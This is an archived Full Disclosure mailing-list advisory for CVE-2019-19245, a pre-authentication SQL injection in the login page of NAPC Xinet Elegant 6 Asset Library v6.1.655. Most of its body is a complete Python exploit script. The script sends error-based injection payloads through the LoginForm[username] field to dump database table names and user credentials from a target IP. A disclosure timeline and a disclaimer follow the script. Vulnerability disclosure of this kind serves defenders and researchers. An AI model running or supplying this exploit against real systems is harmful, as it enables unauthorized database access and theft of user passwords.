NAPC Xinet Elegant 6 Asset Library Web Interface v6.1.655 / Pre-Auth SQL Injection 0Day

Related Vulnerabilities: CVE-2019-19245  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="28"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#29">By Date</a>
<a href="30"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="27"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#29">By Thread</a>
<a href="30"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">NAPC Xinet Elegant 6 Asset Library Web Interface v6.1.655 / Pre-Auth SQL Injection 0Day</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: hyp3rlinx &lt;apparitionsec () gmail com&gt;


<em>Date</em>: Fri, 29 Nov 2019 21:36:25 -0500


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
<a rel="nofollow" href="http://hyp3rlinx.altervista.org/advisories/NAPC-XINET-ELEGANT-6-ASSET-LIBRARY-WEB-INTERFACE-PRE-AUTH-SQL-INJECTION.txt">http://hyp3rlinx.altervista.org/advisories/NAPC-XINET-ELEGANT-6-ASSET-LIBRARY-WEB-INTERFACE-PRE-AUTH-SQL-INJECTION.txt</a>
[+] ISR: ApparitionSec


[Vendor]
www.napc.com


[Product]
Xinet Elegant 6 Asset Library Web Interface v6.1.655

Web based interface for xinet asset management solution.


[Vulnerability Type]
Pre-Auth SQL Injection


[CVE Reference]
CVE-2019-19245


[Security Issue]
NAPC Xinet (interface) Elegant 6 Asset Library v6.1.655 allows
Pre-Authentication Error based SQL Injection via the /elegant6/login
LoginForm[username] field when
double quotes are used. The vulnerable version seems to be old, but it may
still be possible to still find it deployed as I have.

Vulnerable Parameter: LoginForm[username] (POST) Method.


[Exploit/POC]
import requests,time,re,sys,argparse

#NAPC Xinet Elegant 6 Asset Library v6.1.655
#Pre-Auth SQL Injection 0day Exploit
#By hyp3rlinx
#ApparitionSec
#==============
#This will dump tables, usernames and passwords in vulnerable versions
#REQUIRE PARAMS:
LoginForm[password]=&amp;LoginForm[rememberMe]=0&amp;LoginForm[username]=SQL&amp;yt0
#SQL INJECTION VULN PARAM --&gt; LoginForm[username]
#================================================

IP=""
PORT="80"
URL=""
NUM_INJECTS=20
k=1
j=0
TABLES=False
CREDS=False
SHOW_SQL_ERROR=False


def vuln_ver_chk():
    global IP, PORT
    TARGET = "<a rel="nofollow" href="http://&quot;+IP+&quot;:&quot;+PORT+&quot;/elegant6/login&quot;">http://"+IP+":"+PORT+"/elegant6/login"</a>;
    response = requests.get(TARGET)
    if re.findall(r'\bElegant",appVersion:"6.1.655\b', response.content):
        print "[+] Found vulnerable NAPC Elegant 6 Asset Library version
6.1.655."
        return True
    print "[!] Version not vulnerable :("
    return False


def sql_inject_request(SQL):

    global IP, PORT
    URL = "<a rel="nofollow" href="http://&quot;+IP+&quot;:&quot;+PORT+&quot;/elegant6/login&quot;">http://"+IP+":"+PORT+"/elegant6/login"</a>;

    tmp=""
    headers = {'User-Agent': 'Mozilla/5.0'}
    payload =
{'LoginForm[password]':'1','LoginForm[rememberMe]':'0','LoginForm[username]':SQL}
    session = requests.Session()

    res = session.post(URL,headers=headers,data=payload)
    idx = res.content.find('CDbCommand')  # Start of SQL Injection Error in
response
    idx2 = res.content.find('key 1')      # End of SQL Injection Error in
response

    return res.content[idx : idx2+3]



#Increments SQL LIMIT clause 0,1, 1,2, 1,3 etc
def inc():
    global k,j
    while j &lt; NUM_INJECTS:
        j+=1
        if k !=1:
            k+=1
        return str(j)+','+str(k)


def tidy_up(results):
    global CREDS
    idx = results.find("'")
    if idx != -1:
        idx2 = results.rfind("'")
        if not CREDS:
            return results[idx + 1: idx2 -2]
        else:
            return results[idx + 2: idx2]



def breach(i):
    global k,j,NUM_INJECTS,SHOW_SQL_ERROR
    result=""

    #Dump Usernames &amp; Passwords
    if CREDS:
        if i % 2 == 0:
            target='username'
        else:
            target='password'

        SQL=('"and (select 1 from(select count(*),concat((select(select
concat(0x2b,'+target+'))'
            'from user limit '+str(i)+', 1),floor(rand(0)*2))x from user
group by x)a)-- -')

        if not SHOW_SQL_ERROR:
            result = tidy_up(sql_inject_request(SQL))
        else:
            result = sql_inject_request(SQL)+"\n"
        print "[+] Dumping "+target+": "+result

    #Dump Tables
    if TABLES:
        while j &lt; NUM_INJECTS:
            nums = inc()
            SQL=('"and (select 1 from (Select count(*),Concat((select
table_name from information_schema.tables where table_schema=database()'
                'limit '+nums+'),0x3a,floor(rand(0)*2))y from
information_schema.tables group by y) x)-- -')

            if not SHOW_SQL_ERROR:
                result = tidy_up(sql_inject_request(SQL))
            else:
                result = sql_inject_request(SQL) + "\n"

            print "[+] Dumping Table... " +result
            time.sleep(0.3)



def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--ip_address", help="&lt;TARGET-IP&gt;.")
    parser.add_argument("-p", "--port", help="Port, Default is 80")
    parser.add_argument("-t", "--get_tables", nargs="?", const="1",
help="Dump Database Tables.")
    parser.add_argument("-c", "--creds", nargs="?", const="1", help="Dump
Database Credentials.")
    parser.add_argument("-m", "--max_injects", nargs="?", const="1",
help="Max SQL Injection Attempts, Default is 20.")
    parser.add_argument("-s", "--show_sql_errors", nargs="?", const="1",
help="Display SQL Errors, Default is Clean Dumps.")
    parser.add_argument("-e", "--examples", nargs="?", const="1",
help="Show script usage.")
    return parser.parse_args()



def usage():
    print "Dump first ten rows of usernames and passwords"
    print "NAPC-Elegant-6-SQL-Exploit.py -i &lt;TARGET-IP&gt; -c -m 10\n"
    print "\nDump first five rows of database tables and show SQL errors"
    print "NAPC-Elegant-6-SQL-Exploit.py -i &lt;TARGET-IP&gt; -t -m 5 -s\n"
    exit(0)


def main(args):

    global TABLES,CREDS,URL,IP,NUM_INJECTS,SHOW_SQL_ERROR

    if args.ip_address:
        IP=args.ip_address

    if args.port:
        PORT=args.port

    if args.get_tables:
        TABLES=True

    if args.creds:
        CREDS=True

    if args.max_injects:
        NUM_INJECTS = int(args.max_injects)

    if args.show_sql_errors:
        SHOW_SQL_ERROR=True

    if args.examples:
        usage()

    if vuln_ver_chk():
        for i in range(0, NUM_INJECTS):
            breach(i)
            time.sleep(0.3)


if __name__=='__main__':

    parser = argparse.ArgumentParser()

    print "NAPC Elegant 6 Asset Library v6.1.655"
    print "Pre-Authorization SQL Injection 0day Exploit"
    print "Discovery / eXploit By hyp3rlinx"
    print "ApparitionSec\n"

    time.sleep(0.5)

    if len(sys.argv)== 1:
        parser.print_help(sys.stderr)
        sys.exit(0)

    main(parse_args())



[Network Access]
Remote


[POC Video URL]
<a rel="nofollow" href="https://www.youtube.com/watch?v=mdw_sPlshmI">https://www.youtube.com/watch?v=mdw_sPlshmI</a>


[Severity]
Critical


[Disclosure Timeline]
Vendor Notification: November 13, 2018
Second attempt: October 12, 2019
November 29, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a>

</pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="28"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#29">By Date</a>
<a href="30"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="27"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#29">By Thread</a>
<a href="30"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>NAPC Xinet Elegant 6 Asset Library Web Interface v6.1.655 / Pre-Auth SQL Injection 0Day</strong> <em>hyp3rlinx (Nov 29)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>